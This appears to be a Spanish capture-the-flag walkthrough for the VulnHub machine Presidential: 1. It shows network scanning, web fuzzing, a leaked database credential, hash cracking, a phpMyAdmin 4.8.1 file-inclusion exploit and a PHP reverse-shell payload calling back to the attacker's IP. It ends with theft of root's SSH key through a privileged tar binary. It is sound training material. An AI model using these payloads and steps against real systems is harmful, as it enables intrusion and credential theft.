Nos dirigimos a Presidential: 1, descargamos el ova, y para instalarlo puedes seguir el ejemplo que se ve en Instalar Máquina Vulhub en VirtualBox donde se instala otra máquina de vulhub pero son los mismos pasos.
❯ sudo arp-scan -I ens33 --localnet --ignoredups
[sudo] password for luis:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 4c:6e:6e:5f:8c:e2 Comnect Technology CO.,LTD
192.168.1.102 e4:aa:ea:ca:19:1d Liteon Technology Corporation
192.168.1.106 08:00:27:5c:ca:bf PCS Systemtechnik GmbH
192.168.1.250 44:22:7c:c3:ee:22 (Unknown)
192.168.1.103 80:6d:71:b9:f2:af (Unknown)
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.115 seconds (121.04 hosts/sec). 5 responded
La IP correspondiente a nuestra máquina víctima en mi caso es la 192.168.1.106 por lo que en esta ip vamos a trabajar, confirmamos comunicación haciendo ping a esta ip.
❯ ping -c 1 192.168.1.106
PING 192.168.1.106 (192.168.1.106) 56(84) bytes of data.
64 bytes from 192.168.1.106: icmp_seq=1 ttl=64 time=5.93 ms
--- 192.168.1.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.931/5.931/5.931/0.000 ms
Analizamos los puertos abiertos en esta máquina
❯ nmap -p- --open -sS --min-rate 5000 -n -Pn 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:24 CET
Nmap scan report for 192.168.1.106
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
2082/tcp open infowave
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds
Los puertos abiertos son el puerto: 80 y 22, vamos analizar los servicios que están mediante un conjunto de scripts con el parámetro -sC y averiguaremos las versiones de los mismos -sV.
❯ nmap -sCV -p80,2082 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:29 CET
Nmap scan report for votenow.local (192.168.1.106)
Host is up (0.0027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.5.38
|_http-title: Ontario Election Services » Vote Now!
2082/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 0640f4e58cad1ae686dea575d0a2ac80 (RSA)
| 256 e9e63a838e94f298dd3e70fbb9a3e399 (ECDSA)
|_ 256 66a8a19fdbd5ec4c0a9c4d53156c436c (ED25519)
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds
Vemos que el puerto 80 esta Apache y vemos que la máquina es una CentOS, no hay otra información importante, de ahí el puerto 2082 corresponde al servicio ssh y vemos que la versión del OpenSSH es menor a la 7.7 por lo que puede ser vulnerable a user enumeration.
Lanzamos un script de nmpa para enumerar el servicio http para ver si encontramos algún directorio que nos pueda interesar.
❯ nmap --script http-enum 192.168.1.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-04 19:37 CET
Nmap scan report for votenow.local (192.168.1.106)
Host is up (0.0013s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:5C:CA:BF (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.64 seconds
Y no encontramos nada por lo que vamos a proceder hacer un fuzzing de directorios y de subdominios.
Vemos arriba en el correo el dominio de la página por lo que vamos a editar el /etc/hosts añadiendo ese dominio.
Realizaremos fuzzing para averiguar los directorios que puedan estar expuestos y que nos pueda llegar a interesar.
❯ gobuster dir -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 --add-slash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://votenow.local
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/ (Status: 403) [Size: 210]
/icons/ (Status: 200) [Size: 74409]
/assets/ (Status: 200) [Size: 1505]
Progress: 4717 / 1273834 (0.37%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 5227 / 1273834 (0.41%)
===============================================================
Finished
===============================================================
Podemos ver que el directorio más interesante es el cgi-bin, mismo que podemos también fuzzear para encontrar archivos sh, cgi, para ver si se puede explotar un shellshock pero adelanto que no hay nada.
Procedemos entonces ahora a buscar por extenciones en la misma página para observar alguna importante como sabemos que el servicio es Apache y que corre php, vamos a buscar las extensiones php, php.bak.
❯ gobuster dir -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,php.bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://votenow.local
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,php.bak
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 236] [--> http://votenow.local/assets/]
/config.php (Status: 200) [Size: 0]
/config.php.bak (Status: 200) [Size: 107]
Progress: 8064 / 661683 (1.22%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 8761 / 661683 (1.32%)
===============================================================
Finished
===============================================================
Vemos dos archivos interesantes pero el que la página no va a procesar es el de config.php.bak por lo que vamosa revisar el códgio fuente de este directorio y vemos lo siguiente.
Tenemos credenciales de base de datos para el usuario votebox por lo procedemos a guardarlas en un archivo para en caso de necesitarlas tenerlas a mano.
Continuemos con el fuzzing, por lo que vamos ahora a hacer un discovery de subdominios, así mismo con gobuster y encontramos el siguiente dominio:
❯ gobuster vhost -u http://votenow.local -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --append-domain -t 50 --no-error | grep -v "400"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://votenow.local
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: datasafe.votenow.local Status: 200 [Size: 9500]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Vemos que existe un datasafe.votenow.local, por lo que la añadimos al /etc/hosts y revisamos la página que esté cargada.
Nos encontramos ante una página phpMyAdmin, por lo que podemos probar las credenciales que hemos obtenido del config.php.bak, y esperar sean válidad.
Vamos a enumera las tablas de la base de datos votebox.
Procedemos a entrar a la tabla users:
Tenemos otras credenciales el usuario admin:
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Stella (?)
1g 0:00:29:02 DONE (2023-12-04 21:31) 0.000573g/s 28.72p/s 28.72c/s 28.72C/s airsoft..Loveyou
Use the "--show" option to display all of the cracked passwords reliably
❯ john --show hash
?:Stella
1 password hash cracked, 0 left
Por lo que vamos a guardar estas credenciales (admin:Stella) en caso de que nos sirva más adelante.
Entramos sin problemas por lo que vamos a revisar la versión del phpMyAdmin que es la 4.8.1 y buscamos si existe algún exploit, usando searchsploit.
searchsploit phpMyAdmin 4.8.1
Tenemos un script de ejecución de comandos, vamos a descargarnoslo y procedemos a leer lo que hace para ver donde se ejecuta el RCE.
searchsploit -m php/webapps/50457.py
Le cambiamos el nombre para que sea más descriptivo:
mv 50457.py rce_phpMyAdmin.php
Vemos que en el script se aprovecha de un path traversal pero hay un error en la carpeta no es sessions sino session, como lo vamos a ver a continuación:
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_<cookie_de_session>
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_9ric2ksh38um8ve8kcispjb55ni14apl
Vemos esta información, podemos probar hacer un select en otra pestaña y ver que pasa
Tenemos una potencial manera de inyectar código y proceder a obtener una bash:
select '<?php system("bash -i >& /dev/tcp/192.168.1.140/443 ");?>'nc -nvlp 443
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_nnt9tsbsk5ajcps7rlouelb48sqj2rdd
Se quedará cargando y eso significa que obtenemos nuestra bash:
Hacemos un Tratamiento de la TTY y procedemos a probar el usuario admin que hemos obtenido las credenciales con john.
Nos cambiamos de usuario conociendo que Stella es el password de admin, y verificamos si las credenciales son válidas.
Y tenemos shell como admin.
Vamos a escalar de privilegios:
Vemos que usando tarS que parece que es tar por lo que podremos hacer lo siguiente, a conocimiento de que está expuesto el servicio ssh podremos obtener un comprimido de la clave privada de root.
/usr/bin/tarS -cvf id_rsa.tar /root/.ssh/id_rsa
Descomprimimos el id_rsa.tar que creamos, y tenemos la carpeta root, nos dirigimos a .ssh y nos encontraremos la llave privada de root.
[admin@votenow tmp]$ /usr/bin/tarS -xvf id_rsa.tar
root/.ssh/id_rsa
Obteniendo la clave privada confirmamos que tiene permisos 600 y procedemos a conectarnos con ssh por el puerto 2082 que observamos que tenía expuesto.
ssh -i id_rsa root@localhost -p 2082